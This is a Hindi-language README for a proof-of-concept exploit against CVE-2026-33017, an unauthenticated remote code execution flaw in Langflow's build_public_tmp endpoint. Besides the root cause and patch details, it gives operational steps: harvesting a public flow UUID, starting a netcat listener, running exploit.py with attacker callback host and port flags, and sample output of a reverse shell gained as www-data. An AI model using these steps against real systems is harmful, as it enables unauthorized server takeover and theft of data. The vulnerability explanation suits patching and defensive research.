
CVE-2026-33017 के लिए PoC एक्सप्लॉइट: दुर्भावनापूर्ण Python Custom Component इंजेक्शन के माध्यम से Langflow में बिना प्रमाणीकरण के रिमोट कोड निष्पादन, अंतर्निहित रिवर्स शेल लिसनर के साथ।
लेखक: dynamo2k1
गंभीरता: क्रिटिकल
CVSSv3: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CVE-2026-33017 Langflow में एक गंभीर, बिना प्रमाणीकरण वाला रिमोट कोड निष्पादन (Remote Code Execution) भेद्यता है। Langflow एक ओपन-सोर्स प्लेटफ़ॉर्म है जिसका उपयोग LLM अनुप्रयोगों और AI वर्कफ़्लो को विज़ुअली बनाने के लिए किया जाता है।
संवेदनशील एंडपॉइंट build_public_tmp बिना प्रमाणीकरण के अनुरोध बॉडी में हमलावर-नियंत्रित data फ़ील्ड स्वीकार करता है। यह हमलावर को एक पूरी तरह से कस्टम फ़्लो परिभाषा इंजेक्ट करने की अनुमति देता है जिसमें एक दुर्भावनापूर्ण Python कस्टम कंपोनेंट होता है, जिसका कोड बिल्ड प्रक्रिया के दौरान सर्वर पर निष्पादित होता है।
किसी क्रेडेंशियल की आवश्यकता नहीं है। केवल एक मान्य Public फ़्लो UUID की आवश्यकता होती है।
| स्थिति | संस्करण |
|---|---|
| संवेदनशील | Langflow < 1.9.0 |
| पैच किया गया | Langflow 1.9.0+ |
POST /api/v1/build_public_tmp/{flow_id}/flow
यह एंडपॉइंट बिना प्रमाणीकरण के Public (साझा) फ़्लो बनाने के लिए डिज़ाइन किया गया है। संवेदनशील संस्करणों में, यह अनुरोध बॉडी में हमलावर-नियंत्रित data फ़ील्ड को भी स्वीकार करता है, जिसे सीधे सर्वर-साइड बिल्ड लॉजिक में पास किया जाता है — जिसमें कस्टम कंपोनेंट्स में एम्बेडेड कोई भी Python कोड शामिल है।
pip install requests urllib3
लक्षित Langflow इंस्टेंस में जाकर एक साझा/public फ़्लो देखें। UUID URL में दिखाई देता है:
https://target.com/playground/7d84d636-af65-42e4-ac38-26e867052c25
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
this is the flow-id
nc -lvnp 9001
python exploit.py \
--url https://target.com \
--flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
--lhost <YOUR_IP> \
--lport 9001
या अंतर्निहित इंटरैक्टिव लिसनर का उपयोग करें (अलग से nc की आवश्यकता नहीं है):
python exploit.py \
--url https://target.com \
--flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
--lhost <YOUR_IP> \
--lport 9001 \
--listen
[*] Target: https://target.com/api/v1/build_public_tmp/<flow-id>/flow
[*] Callback: 10.10.15.28:9001
[*] HTTP 200
[!] SHELL ESTABLISHED FROM 10.x.x.x:36522
www-data@target:/var/lib/langflow$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
मूल कारण: build_public_tmp ने केवल सर्वर-संग्रहीत फ़्लो परिभाषा का उपयोग करने के बजाय अनुरोध बॉडी से data फ़ील्ड पर भरोसा किया।
पैच: Langflow 1.9.0 में, data पैरामीटर को build_public_tmp से हटा दिया गया था। इस एंडपॉइंट के माध्यम से अब बाहरी फ़्लो परिभाषाएँ इंजेक्ट नहीं की जा सकतीं।
पैच कमिट: 73b6612
यह PoC केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। इसे केवल उन्हीं सिस्टम पर उपयोग करें जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है।
| फ़्लैग | विवरण |
|---|
--url | लक्षित Langflow का बेस URL |
--flow-id | Public फ़्लो UUID |
--lhost | रिवर्स शेल कॉलबैक के लिए आपका IP |
--lport | आपका लिसनर पोर्ट |
--listen | बाहरी nc के बजाय अंतर्निहित शेल हैंडलर का उपयोग करें |
--timeout | HTTP अनुरोध टाइमआउट सेकंड में (डिफ़ॉल्ट: 30) |